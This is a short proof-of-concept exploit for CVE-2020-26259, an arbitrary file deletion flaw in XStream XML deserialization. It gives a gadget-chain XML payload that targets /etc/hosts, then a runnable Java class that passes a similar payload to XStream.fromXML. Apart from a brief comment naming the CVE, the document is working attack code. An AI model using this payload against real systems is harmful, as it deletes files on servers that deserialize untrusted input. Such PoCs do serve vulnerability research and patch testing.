PoC:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/etc/hosts</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);
https://x-stream.github.io/CVE-2020-26259.html
CVE_2020_26259.java:
import com.thoughtworks.xstream.XStream;
/*
CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host
when unmarshalling as long as the executing process has sufficient rights.
https://x-stream.github.io/CVE-2020-26259.html
Security framework of XStream not explicitly initialized, using predefined black list on your own risk.
*/
public class CVE_2020_26259 {
public static void main(String[] args) {
String xml_poc = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
" <contentType>text/plain</contentType>\n" +
" <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
" <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +
" </is>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
XStream xstream = new XStream();
xstream.fromXML(xml_poc);
}
}